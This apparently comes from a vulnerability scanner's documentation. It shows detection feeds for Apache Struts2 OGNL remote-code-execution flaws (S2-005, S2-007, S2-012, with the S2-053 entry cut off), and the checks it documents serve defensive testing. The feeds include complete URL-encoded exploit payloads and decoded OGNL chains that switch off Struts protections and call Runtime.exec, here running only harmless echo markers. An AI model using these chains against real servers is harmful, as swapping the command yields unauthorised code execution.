Apache Struts 2.0.0 through 2.1.8.1 is prone to remote code execution (S2-005, CVE-2010-1870): XWork's ParametersInterceptor evaluates request parameter names as OGNL and its '#' protection is bypassed with the \u0023 unicode escape, which lets an unauthenticated attacker modify the server-side context (_memberAccess, xwork.MethodAccessor.denyMethodExecution) and call arbitrary Java methods. This check POSTs such parameter names to a few well-known Struts2 actions; the injected expressions obtain the servlet response writer and print NOCTIS<n>, where <n> is the product of two random numbers computed by OGNL. A response carrying the expected marker confirms remote code execution (in-JVM, no OS command, nothing written on the target).

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST {{s2005_path}} with a crafted body
  3. HTTP(S) request POST {{s2005_path}} with a crafted body
  4. Parses / computes the next value with a Rhai script
  5. Checks exec_resp.body for NOCTIS[0-9]+ → finding QoD 97: Apache Struts2 S2-005 XWork OGNL Parameter Name Remote Code Execution (CVE-2010-1870)
  6. Checks exec_ctx_resp.body for NOCTIS[0-9]+ → finding QoD 97: Apache Struts2 S2-005 XWork OGNL Parameter Name Remote Code Execution (CVE-2010-1870)

References:

Feed source — tests/vulnerabilities/struts/CVE-2010-1870.yaml
# CVE-2010-1870 (Apache Struts2 S2-005) — XWork ParametersInterceptor OGNL
# '#' protection bypass, unauthenticated remote code execution.
# Active detection ported from OpenVAS/Greenbone NASL
# 2010/apache/gb_struts_s2-005_active.nasl (GPL-2.0-only).
#
# Struts 2.0.0 - 2.1.8.1 evaluate request parameter NAMES as OGNL. The '#'
# character is blocked, but the OGNL lexer decodes \u0023 back to '#', so a
# parameter name can reach the context objects: it switches on
# _memberAccess.allowStaticMethodAccess, sets
# xwork.MethodAccessor.denyMethodExecution to false, then calls any method.
# ParametersInterceptor applies parameters in name order (TreeMap), so the
# names are chosen to sort in the right sequence: ('\u0023_memberAccess…'),
# (aaa), (abc), (abd), (abe).
#
# Deviations from the NASL (project rule: benign proof of exploitation):
#   * The NASL's last expression is `#rt.exit(1)` on Runtime.getRuntime(): on a
#     truly vulnerable server that SHUTS DOWN THE JVM (a DoS). The NASL then
#     only matches the devMode error page that names
#     xwork.MethodAccessor.denyMethodExecution, which fingerprints a dev-mode
#     error, not exploitation. Instead, this feed grabs the servlet response
#     writer through the static ServletActionContext.getResponse() and prints
#     'NOCTIS'+(A*B) with random per-run operands. Only a server that really
#     executed the injected method calls prints NOCTIS<A*B>; the product never
#     appears in the request, so a page that merely reflects the parameters
#     (the devMode error the NASL matches) cannot pass. Nothing is written on
#     the target and no OS command runs. A second variant obtains the writer
#     without static method access, through
#     #context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'], for
#     builds where the allowStaticMethodAccess setter has no effect.
#   * The NASL sends the payload in a GET query; here the same parameters go in
#     a URL-encoded POST body (ParametersInterceptor reads both alike), which
#     http_request sends verbatim — a GET query would be re-encoded by reqwest.
#   * The NASL only tries /struts2-blank/example/HelloWorld.action and gates on
#     "<title>Struts". Beyond it, the feed also tries the struts2-blank app
#     deployed as ROOT (/example/HelloWorld.action), the Struts2 Showcase
#     landing action and the root default action, without the title gate (any
#     action that runs ParametersInterceptor is exploitable). It stops at the
#     first URL that yields a finding.
# QoD 97 — in-JVM code execution confirmed by the computed marker.
uid: 19821c08-cd38-4328-a624-e2b8cd561461
name: "Apache Struts2 S2-005 XWork OGNL Parameter Name Remote Code Execution (CVE-2010-1870)"
description: |
  Apache Struts 2.0.0 through 2.1.8.1 is prone to remote code execution (S2-005,
  CVE-2010-1870): XWork's ParametersInterceptor evaluates request parameter names
  as OGNL and its '#' protection is bypassed with the \u0023 unicode escape, which
  lets an unauthenticated attacker modify the server-side context
  (_memberAccess, xwork.MethodAccessor.denyMethodExecution) and call arbitrary
  Java methods. This check POSTs such parameter names to a few well-known
  Struts2 actions; the injected expressions obtain the servlet response writer
  and print NOCTIS<n>, where <n> is the product of two random numbers computed
  by OGNL. A response carrying the expected marker confirms remote code execution
  (in-JVM, no OS command, nothing written on the target).
cves: [CVE-2010-1870]
cvss: 5.0           # NVD CVSS v2 (I:P only); Apache rates S2-005 critical (RCE)
severity: critical
confidence_base: 0.30
category: rce
tags:
  - apache
  - struts
  - ognl
  - s2-005
  - rce
  - intrusive
services:
  - http
  - https
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-1870"
  - "https://cwiki.apache.org/confluence/display/WW/S2-005"
  - "OpenVAS/Greenbone NASL 2010/apache/gb_struts_s2-005_active.nasl (GPL-2.0-only)"

steps:
  # ── Random operands: the marker NOCTIS<A*B> is computed by OGNL ──────────
  - id: gen-operands
    action: script
    code: |
      let a = rand_int(1013, 9973);
      let b = rand_int(1013, 9973);
      #{ a: a, b: b, marker: "NOCTIS" + (a * b) }
    store_as: og

  # ── Every step from here runs once per candidate action (loop group). ────
  # Pre-initialise the stored result: a failed request leaves store_as unset
  # and the verify script would then abort the whole test.
  - id: init-exec-resp
    action: set_var
    var_name: exec_resp
    var_value: {status: 0, body: null}
    loop:
      over:
        - "/struts2-blank/example/HelloWorld.action"
        - "/example/HelloWorld.action"
        - "/struts2-showcase/showcase.action"
        - "/index.action"
        - "/"
      var: s2005_path

  # Decoded parameter names (applied in this sorted order):
  #   ('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true
  #   (aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew\u0020java.lang.Boolean('false')))
  #   (abc)(('\u0023w\u003d@org.apache.struts2.ServletActionContext@getResponse().getWriter()')(d))
  #   (abd)(('\u0023w.println(\'NOCTIS\'+(A*B))')(d))
  #   (abe)(('\u0023w.close()')(d))
  # The first two are the NASL's; the last three replace its #rt.exit(1).
  # The space is written \u0020 (defensive: the lexer decodes it like any
  # \uXXXX, and it keeps the name free of whitespace for strict name filters).
  - id: ognl-exec
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{s2005_path}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "%28%27%5Cu0023_memberAccess%5B%5C%27allowStaticMethodAccess%5C%27%5D%27%29%28meh%29=true&%28aaa%29%28%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003d%5Cu0023foo%27%29%28%5Cu0023foo%5Cu003dnew%5Cu0020java.lang.Boolean%28%27false%27%29%29%29&%28abc%29%28%28%27%5Cu0023w%5Cu003d%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%27%29%28d%29%29&%28abd%29%28%28%27%5Cu0023w.println%28%5C%27NOCTIS%5C%27%2B%28{{og.a}}%2A{{og.b}}%29%29%27%29%28d%29%29&%28abe%29%28%28%27%5Cu0023w.close%28%29%27%29%28d%29%29"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: exec_resp

  # Variant 2: same chain, writer taken from the action context instead of the
  # static ServletActionContext.getResponse() (needs only denyMethodExecution
  # off). Sent only when variant 1 did not print the marker.
  - id: init-exec-ctx-resp
    action: set_var
    var_name: exec_ctx_resp
    var_value: {status: 0, body: null}

  - id: ognl-exec-ctx
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{s2005_path}}"
    condition: "type_of(exec_resp.body) != \"string\" || !exec_resp.body.contains(og.marker)"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "%28%27%5Cu0023_memberAccess%5B%5C%27allowStaticMethodAccess%5C%27%5D%27%29%28meh%29=true&%28aaa%29%28%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003d%5Cu0023foo%27%29%28%5Cu0023foo%5Cu003dnew%5Cu0020java.lang.Boolean%28%27false%27%29%29%29&%28abc%29%28%28%27%5Cu0023w%5Cu003d%5Cu0023context%5B%5C%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%5C%27%5D.getWriter%28%29%27%29%28d%29%29&%28abd%29%28%28%27%5Cu0023w.println%28%5C%27NOCTIS%5C%27%2B%28{{og.a}}%2A{{og.b}}%29%29%27%29%28d%29%29&%28abe%29%28%28%27%5Cu0023w.close%28%29%27%29%28d%29%29"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: exec_ctx_resp

  # ── Verify the marker against OUR computed product ───────────────────────
  - id: verify
    action: script
    code: |
      let exec = false;
      let exec_ctx = false;
      if type_of(exec_resp.body) == "string" {
        let m = eregmatch("(NOCTIS[0-9]+)", exec_resp.body);
        exec = m.len() >= 2 && m[1] == og.marker;
      }
      if !exec && type_of(exec_ctx_resp.body) == "string" {
        let m = eregmatch("(NOCTIS[0-9]+)", exec_ctx_resp.body);
        exec_ctx = m.len() >= 2 && m[1] == og.marker;
      }
      #{ exec: exec, exec_ctx: exec_ctx }
    store_as: s2005

  - id: report-exec
    action: match
    source: exec_resp.body
    pattern: "NOCTIS[0-9]+"
    condition: "s2005.exec"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        title: "Apache Struts2 S2-005 XWork OGNL Parameter Name Remote Code Execution (CVE-2010-1870)"
        description: >
          {{s2005_path}} evaluated OGNL injected through request parameter names
          using the \u0023 escape (S2-005): the expressions enabled static method
          access, disabled denyMethodExecution, obtained the servlet response
          writer and printed NOCTIS<n>, with <n> computed by OGNL from two random
          operands. This confirms unauthenticated remote code execution
          (CVE-2010-1870).
        evidence: "RCE confirmed — POST {{s2005_path}} with S2-005 parameter names printed 'NOCTIS'+({{og.a}}*{{og.b}}) = {{og.marker}} through ServletActionContext.getResponse().getWriter() (HTTP {{exec_resp.status}})"
      stop: true

  - id: report-exec-ctx
    action: match
    source: exec_ctx_resp.body
    pattern: "NOCTIS[0-9]+"
    condition: "s2005.exec_ctx"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        title: "Apache Struts2 S2-005 XWork OGNL Parameter Name Remote Code Execution (CVE-2010-1870)"
        description: >
          {{s2005_path}} evaluated OGNL injected through request parameter names
          using the \u0023 escape (S2-005): the expressions disabled
          denyMethodExecution, obtained the servlet response
          writer and printed NOCTIS<n>, with <n> computed by OGNL from two random
          operands. This confirms unauthenticated remote code execution
          (CVE-2010-1870).
        evidence: "RCE confirmed — POST {{s2005_path}} with S2-005 parameter names printed 'NOCTIS'+({{og.a}}*{{og.b}}) = {{og.marker}} through #context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].getWriter() (HTTP {{exec_ctx_resp.status}})"
      stop: true

Apache Struts2 S2-007 Conversion Error OGNL Injection Remote Code Execution

CVECVE-2012-0838
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/struts/CVE-2012-0838.yaml

Apache Struts2 before 2.2.3.1 evaluates the raw value of a field that fails type conversion as an OGNL expression when the input page is re-rendered (S2-007, CVE-2012-0838). This check POSTs the Struts2 Showcase field validators form (submitFieldValidatorsExamples.action, under /struts2-showcase and at the web root) with a crafted value in the integer field. It first sends a benign OGNL arithmetic expression with random operands and verifies that the re-rendered field holds the computed product; it then sends the S2-007 method execution chain running the harmless command `echo NOCTIS<n>` (and `cmd /c echo NOCTIS<n>` for Windows hosts), where <n> is computed by OGNL. A re-rendered NOCTIS<n> confirms unauthenticated remote code execution. Nothing is written on the target.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST {{s2_dir}}/validation/submitFieldValidatorsExamples.action with a crafted body
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{s2_dir}}/validation/submitFieldValidatorsExamples.action with a crafted body
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request POST {{s2_dir}}/validation/submitFieldValidatorsExamples.action with a crafted body
  7. Parses / computes the next value with a Rhai script
  8. Checks exec_resp.body for NOCTIS[0-9]+ → finding QoD 97: Apache Struts2 S2-007 Conversion Error OGNL Injection Remote Code Execution (CVE-2012-0838)
  9. Checks exec_win_resp.body for NOCTIS[0-9]+ → finding QoD 97: Apache Struts2 S2-007 Conversion Error OGNL Injection Remote Code Execution (CVE-2012-0838)
  10. Checks arith_resp.body for integerValidatorField → finding QoD 75: Apache Struts2 S2-007 Conversion Error OGNL Injection (CVE-2012-0838)

References:

Feed source — tests/vulnerabilities/struts/CVE-2012-0838.yaml
# CVE-2012-0838 (Apache Struts2 S2-007) — OGNL evaluation of conversion-error
# input. Active detection ported from OpenVAS/Greenbone NASL
# 2012/apache/gb_struts_s2-007_active.nasl (GPL-2.0-only).
#
# Root cause (read from the shipped bytecode of xwork-core): when a request
# value cannot be converted to a non-String property (e.g. an int field),
# ConversionErrorInterceptor.getOverrideExpr() stores the expression
#   "'" + value + "'"
# as an override for that field, and the value stack evaluates it as OGNL when
# the input page re-renders the field. A value such as '+(A*B)+' closes the
# quotes and the expression in between runs. 2.2.3.1 replaced it with
# "\"" + StringEscapeUtils.escapeJava(value) + "\"", a plain string literal.
#
# The NASL POSTs to <dir>/struts2-showcase/validation/submitFieldValidatorsExamples.action
# with integerValidatorField="<'+#application+'>" and looks for
# ".template.Configuration@" (a dump of the application scope) after gating on
# the Showcase landing page. Improvements over it:
#   * Benign, data-free proofs instead of dumping the whole application scope:
#       1. ognl-arith (QoD 75): integerValidatorField='+(A*B)+' with random
#          per-run operands; the re-rendered field must hold OUR product.
#       2. ognl-exec (QoD 97): the public S2-007 chain (allowStaticMethodAccess,
#          denyMethodExecution=false, Runtime.exec) running the harmless
#          `echo NOCTIS<C*D>`, read back with commons-io IOUtils (a Struts 2.2
#          dependency). The marker is built by OGNL string concatenation, so a
#          server that only echoes the submitted value never contains it.
#          `cmd /c echo` is also tried for Windows hosts (echo is a builtin).
#   * Also tries the Showcase deployed as the ROOT context ("/validation/…"),
#     which the NASL misses because it always appends /struts2-showcase.
#   * No landing-page gate: a 404 on the form simply ends the iteration, and
#     the exec probes only run once the arithmetic proof succeeded.
# Nothing is written on the target.
uid: f54e8c11-9092-4274-ac68-b5f97d90248b
name: "Apache Struts2 S2-007 Conversion Error OGNL Injection Remote Code Execution (CVE-2012-0838)"
description: |
  Apache Struts2 before 2.2.3.1 evaluates the raw value of a field that fails
  type conversion as an OGNL expression when the input page is re-rendered
  (S2-007, CVE-2012-0838). This check POSTs the Struts2 Showcase field
  validators form (submitFieldValidatorsExamples.action, under /struts2-showcase
  and at the web root) with a crafted value in the integer field. It first sends
  a benign OGNL arithmetic expression with random operands and verifies that the
  re-rendered field holds the computed product; it then sends the S2-007 method
  execution chain running the harmless command `echo NOCTIS<n>` (and
  `cmd /c echo NOCTIS<n>` for Windows hosts), where <n> is computed by OGNL. A
  re-rendered NOCTIS<n> confirms unauthenticated remote code execution. Nothing
  is written on the target.
cves: [CVE-2012-0838]
cvss: 10.0
severity: critical
confidence_base: 0.30
category: rce
tags:
  - apache
  - struts
  - ognl
  - s2-007
  - rce
  - intrusive
services:
  - http
  - https
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-0838"
  - "https://cwiki.apache.org/confluence/display/WW/S2-007"
  - "OpenVAS/Greenbone NASL 2012/apache/gb_struts_s2-007_active.nasl (GPL-2.0-only)"

steps:
  # ── Random operands: A*B for the arithmetic probe, C*D for the exec marker ─
  - id: gen-operands
    action: script
    code: |
      let a = rand_int(1013, 9973);
      let b = rand_int(1013, 9973);
      let c = rand_int(1013, 9973);
      let d = rand_int(1013, 9973);
      #{ a: a, b: b, product: a * b, c: c, d: d, marker: "NOCTIS" + (c * d) }
    store_as: og

  # ── Pre-initialise stored results: a failed request leaves store_as unset
  # and the verify scripts would then abort the whole test.
  #
  # Every step from here on runs once per candidate base path (loop group):
  # the NASL's /struts2-showcase, plus the Showcase deployed as ROOT.
  - id: init-arith-resp
    action: set_var
    var_name: arith_resp
    var_value: {status: 0, body: null}
    loop:
      over: ["/struts2-showcase", ""]
      var: s2_dir

  - id: init-exec-resp
    action: set_var
    var_name: exec_resp
    var_value: {status: 0, body: null}

  - id: init-exec-win-resp
    action: set_var
    var_name: exec_win_resp
    var_value: {status: 0, body: null}

  # ── Stage 1: benign OGNL arithmetic in the integer field ─────────────────
  # integerValidatorField = '+(A*B)+'  →  override expression ''+(A*B)+''
  # The other fields are the NASL's (all empty).
  - id: ognl-arith
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{s2_dir}}/validation/submitFieldValidatorsExamples.action"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "requiredValidatorField=&requiredStringValidatorField=&integerValidatorField=%27%2B%28{{og.a}}%2A{{og.b}}%29%2B%27&dateValidatorField=&emailValidatorField=&urlValidatorField=&stringLengthValidatorField=&regexValidatorField=&fieldExpressionValidatorField="
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: arith_resp

  # The re-rendered integer field must hold exactly OUR product. A server that
  # reflects the raw input shows '+(A*B)+' (HTML-escaped), never the product.
  - id: verify-arith
    action: script
    code: |
      let ok = false;
      if type_of(arith_resp.body) == "string" {
        let m = eregmatch("name=\"integerValidatorField\"[^>]*value=\"([0-9]+)\"", arith_resp.body);
        if m.len() >= 2 && int(m[1]) == og.product {
          ok = true;
        }
      }
      #{ ok: ok }
    store_as: arith

  # ── Stage 2: S2-007 method execution chain running `echo NOCTIS<C*D>` ────
  # Decoded value:
  #   '+(#_memberAccess["allowStaticMethodAccess"]=true,
  #      #foo=new java.lang.Boolean("false"),
  #      #context["xwork.MethodAccessor.denyMethodExecution"]=#foo,
  #      @org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime()
  #        .exec("echo NOCTIS"+(C*D)).getInputStream()))+'
  - id: ognl-exec
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{s2_dir}}/validation/submitFieldValidatorsExamples.action"
    condition: "arith.ok"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "requiredValidatorField=&requiredStringValidatorField=&integerValidatorField=%27%2B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22echo%20NOCTIS%22%2B%28{{og.c}}%2A{{og.d}}%29%29.getInputStream%28%29%29%29%2B%27&dateValidatorField=&emailValidatorField=&urlValidatorField=&stringLengthValidatorField=&regexValidatorField=&fieldExpressionValidatorField="
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: exec_resp

  # The re-rendered field must START with OUR marker (command output). The
  # submitted value never contains NOCTIS<C*D> literally, and a reflected raw
  # value starts with &#39; / ', so an echoing server cannot match.
  - id: verify-exec
    action: script
    code: |
      let exec = false;
      if type_of(exec_resp.body) == "string" {
        let m = eregmatch("name=\"integerValidatorField\"[^>]*value=\"(NOCTIS[0-9]+)", exec_resp.body);
        if m.len() >= 2 && m[1] == og.marker {
          exec = true;
        }
      }
      #{ exec: exec }
    store_as: s2007

  # ── Stage 2b (beyond the NASL): same chain with `cmd /c echo` for Windows ─
  # Only sent when the plain `echo` produced nothing (echo is a cmd.exe builtin).
  - id: ognl-exec-win
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{s2_dir}}/validation/submitFieldValidatorsExamples.action"
    condition: "arith.ok && !s2007.exec"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "requiredValidatorField=&requiredStringValidatorField=&integerValidatorField=%27%2B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cmd%20%2Fc%20echo%20NOCTIS%22%2B%28{{og.c}}%2A{{og.d}}%29%29.getInputStream%28%29%29%29%2B%27&dateValidatorField=&emailValidatorField=&urlValidatorField=&stringLengthValidatorField=&regexValidatorField=&fieldExpressionValidatorField="
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: exec_win_resp

  - id: verify-exec-win
    action: script
    code: |
      let exec_win = false;
      if type_of(exec_win_resp.body) == "string" {
        let m = eregmatch("name=\"integerValidatorField\"[^>]*value=\"(NOCTIS[0-9]+)", exec_win_resp.body);
        if m.len() >= 2 && m[1] == og.marker {
          exec_win = true;
        }
      }
      #{ exec_win: exec_win }
    store_as: s2007w

  # ── Report: command execution confirmed (QoD 97) ─────────────────────────
  - id: report-exec
    action: match
    source: exec_resp.body
    pattern: "NOCTIS[0-9]+"
    condition: "s2007.exec"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        title: "Apache Struts2 S2-007 Conversion Error OGNL Injection Remote Code Execution (CVE-2012-0838)"
        description: >
          {{s2_dir}}/validation/submitFieldValidatorsExamples.action evaluated
          the value of the integer field as OGNL after its type conversion
          failed: the S2-007 chain enabled static method access and ran the
          benign command `echo NOCTIS<n>` through Runtime.exec, and its output
          (with <n> computed by OGNL) was re-rendered in the field. This
          confirms unauthenticated remote code execution.
        evidence: "RCE confirmed — Runtime.exec ran echo NOCTIS+({{og.c}}*{{og.d}}); its output {{og.marker}} was re-rendered in integerValidatorField by POST {{s2_dir}}/validation/submitFieldValidatorsExamples.action (HTTP {{exec_resp.status}})"
      stop: true

  - id: report-exec-win
    action: match
    source: exec_win_resp.body
    pattern: "NOCTIS[0-9]+"
    condition: "s2007w.exec_win"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        title: "Apache Struts2 S2-007 Conversion Error OGNL Injection Remote Code Execution (CVE-2012-0838)"
        description: >
          {{s2_dir}}/validation/submitFieldValidatorsExamples.action evaluated
          the value of the integer field as OGNL after its type conversion
          failed: the S2-007 chain enabled static method access and ran the
          benign command `cmd /c echo NOCTIS<n>` through Runtime.exec, and its
          output (with <n> computed by OGNL) was re-rendered in the field. This
          confirms unauthenticated remote code execution.
        evidence: "RCE confirmed — Runtime.exec ran cmd /c echo NOCTIS+({{og.c}}*{{og.d}}); its output {{og.marker}} was re-rendered in integerValidatorField by POST {{s2_dir}}/validation/submitFieldValidatorsExamples.action (HTTP {{exec_win_resp.status}})"
      stop: true

  # ── Report: OGNL evaluation only (QoD 75) ────────────────────────────────
  - id: report-arith
    action: match
    source: arith_resp.body
    pattern: "integerValidatorField"
    condition: "arith.ok"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        title: "Apache Struts2 S2-007 Conversion Error OGNL Injection (CVE-2012-0838)"
        description: >
          {{s2_dir}}/validation/submitFieldValidatorsExamples.action evaluated a
          benign OGNL arithmetic expression submitted in the integer field after
          its type conversion failed, and re-rendered the computed product. This
          proves S2-007 OGNL injection; the method execution chain returned no
          output (filtered, hardened OGNL configuration, or a missing dependency
          such as commons-io).
        evidence: "OGNL evaluation — POST {{s2_dir}}/validation/submitFieldValidatorsExamples.action with integerValidatorField='+({{og.a}}*{{og.b}})+', the field was re-rendered with the computed product {{og.product}}"
      stop: true

Apache Struts2 S2-012 Showcase OGNL Remote Code Execution

CVECVE-2013-1965
Severitycritical · CVSS 9.3
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/struts/CVE-2013-1965.yaml

Apache Struts2 is prone to a remote code execution vulnerability (S2-012, CVE-2013-1965) through OGNL/Java method execution. This check first confirms the shipped Struts2 Showcase application is reachable (a precondition), then actively exploits it by POSTing an OGNL payload to skill/save.action that evaluates an in-JVM expression calling `println('RCEWorked')` on the response writer (no shell command is run). A vulnerable instance evaluates the payload and echoes the RCEWorked marker, confirming unauthenticated remote code execution.

How noctis detects it

  1. HTTP(S) request GET /struts2-showcase/showcase.action
  2. Checks gate_resp.body for >Showcase</
  3. Checks gate_resp.body for >Struts Showcase<
  4. HTTP(S) request POST /struts2-showcase/skill/save.action with a crafted body
  5. Checks ognl_resp.body for RCEWorked → finding QoD 97: Apache Struts2 S2-012 Showcase OGNL Remote Code Execution (CVE-2013-1965)

References:

Feed source — tests/vulnerabilities/struts/CVE-2013-1965.yaml
# CVE-2013-1965 (Apache Struts2 S2-012) — OGNL / Java method execution via the
# Struts2 Showcase application. Active detection ported from OpenVAS/Greenbone
# NASL 2012/apache/gb_struts_s2-012_active.nasl (GPL-2.0-only).
#
# The NASL does two things:
#   1. Gate (precondition): GET <dir>/struts2-showcase/showcase.action and confirm
#      the Struts Showcase landing page (">Showcase</", ">Struts Showcase<").
#      Presence of the Showcase app alone is NOT the vulnerability — patched
#      Struts (>= 2.3.14.2) still ships this page.
#   2. Exploit (the actual detection): POST
#      <dir>/struts2-showcase/skill/save.action with the NASL's verbatim OGNL
#      payload in the currentSkill.name form field. The expression enables
#      static method access, disables denyMethodExecution, grabs the servlet
#      response writer and calls println('RCEWorked') in-JVM, then confirm HTTP
#      200 and the echoed marker RCEWorked in the response body. Only a
#      vulnerable (unpatched) instance evaluates the OGNL and echoes the marker.
#
# The body is the exact URL-encoded form string from the cited NASL; reqwest
# sends the body verbatim so http_request is faithful here.
# QoD 97 — confirmed OGNL/RCE via the echoed println marker.
uid: 37b00366-ee36-47c8-941a-ee0cc4d8446d
name: "Apache Struts2 S2-012 Showcase OGNL Remote Code Execution (CVE-2013-1965)"
description: |
  Apache Struts2 is prone to a remote code execution vulnerability (S2-012,
  CVE-2013-1965) through OGNL/Java method execution. This check first confirms
  the shipped Struts2 Showcase application is reachable (a precondition), then
  actively exploits it by POSTing an OGNL payload to skill/save.action that
  evaluates an in-JVM expression calling `println('RCEWorked')` on the response
  writer (no shell command is run). A vulnerable instance evaluates the payload
  and echoes the RCEWorked marker, confirming unauthenticated remote code execution.
cves: [CVE-2013-1965]
cvss: 9.3
severity: critical
confidence_base: 0.30
category: rce
tags:
  - apache
  - struts
  - ognl
  - rce
services:
  - http
  - https
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-1965"
  - "https://cwiki.apache.org/confluence/display/WW/S2-012"
  - "OpenVAS/Greenbone NASL 2012/apache/gb_struts_s2-012_active.nasl (GPL-2.0-only)"

steps:
  # Init the gate flags so the later conditions never read an undefined var.
  - id: init-gate
    action: set_var
    var_name: showcase_present
    var_value: false

  - id: init-gate-a
    action: set_var
    var_name: gate_landing
    var_value: false

  # ── Gate (precondition): the Struts2 Showcase app must be reachable ──────
  - id: showcase-gate
    action: http_request
    method: GET
    port: "{{port}}"
    path: "/struts2-showcase/showcase.action"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: gate_resp

  # NASL requires BOTH markers on the landing page: ">Showcase</" and
  # ">Struts Showcase<". Match them in two steps (regex crate has no lookahead).
  - id: match-gate-showcase
    action: match
    source: gate_resp.body
    pattern: ">Showcase</"
    condition: "gate_resp.status == 200"
    on_match:
      set_vars:
        gate_landing: true

  - id: match-gate-struts
    action: match
    source: gate_resp.body
    pattern: ">Struts Showcase<"
    condition: "gate_landing == true"
    on_match:
      set_vars:
        showcase_present: true

  # ── Exploit: the NASL's verbatim OGNL payload calls println('RCEWorked') ──
  # Decoded: %{(#_memberAccess['allowStaticMethodAccess']=true)
  #   (#context['xwork.MethodAccessor.denyMethodExecution']=false)
  #   (#tmp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
  #    #tmp.println('RCEWorked'),#tmp.close())}
  # Exact URL-encoded form string from gb_struts_s2-012_active.nasl. Only an
  # unpatched Struts2 evaluates it and writes the marker to the response.
  - id: ognl-exploit
    action: http_request
    method: POST
    port: "{{port}}"
    path: "/struts2-showcase/skill/save.action"
    condition: "showcase_present"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "currentSkill.name=%25%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23tmp%3D%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2C%23tmp.println%28%27RCEWorked%27%29%2C%23tmp.close%28%29%29%7D&currentSkill.description="
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: ognl_resp

  - id: match-rce
    action: match
    source: ognl_resp.body
    pattern: "RCEWorked"
    condition: "ognl_resp.status == 200"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        title: "Apache Struts2 S2-012 Showcase OGNL Remote Code Execution (CVE-2013-1965)"
        description: >
          The Apache Struts2 Showcase application at
          /struts2-showcase/skill/save.action evaluated an OGNL payload injected
          via the currentSkill.name parameter and called `println('RCEWorked')`
          in-JVM on the response writer, echoing the marker in the response. This
          confirms S2-012 (CVE-2013-1965) unauthenticated remote code execution.
        evidence: "OGNL code execution confirmed — in-JVM println marker echoed by skill/save.action: {{ognl_resp.body}}"
      stop: true

Apache Struts2 S2-053 Freemarker OGNL Injection Remote Code Execution

CVECVE-2017-12611
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/struts/CVE-2017-12611.yaml

Apache Struts 2.0.0 through 2.3.33 and 2.5 through 2.5.10.1 are prone to remote code execution (S2-053, CVE-2017-12611) when a Freemarker tag uses an unintentional expression on request input: the submitted value is evaluated as OGNL. This check injects, into the `name` / `redirectUri` parameter of a few well-known Struts2 URLs, a benign OGNL arithmetic expression with random operands and verifies that the computed product is rendered; it then sends the S2-053 sandbox-bypass chain running the harmless command `echo NOCTIS<n>` (and `cmd.exe /c echo NOCTIS<n>` for Windows hosts) through java.lang.ProcessBuilder, where <n> is computed by OGNL. A rendered NOCTIS<n> confirms unauthenticated remote code execution.

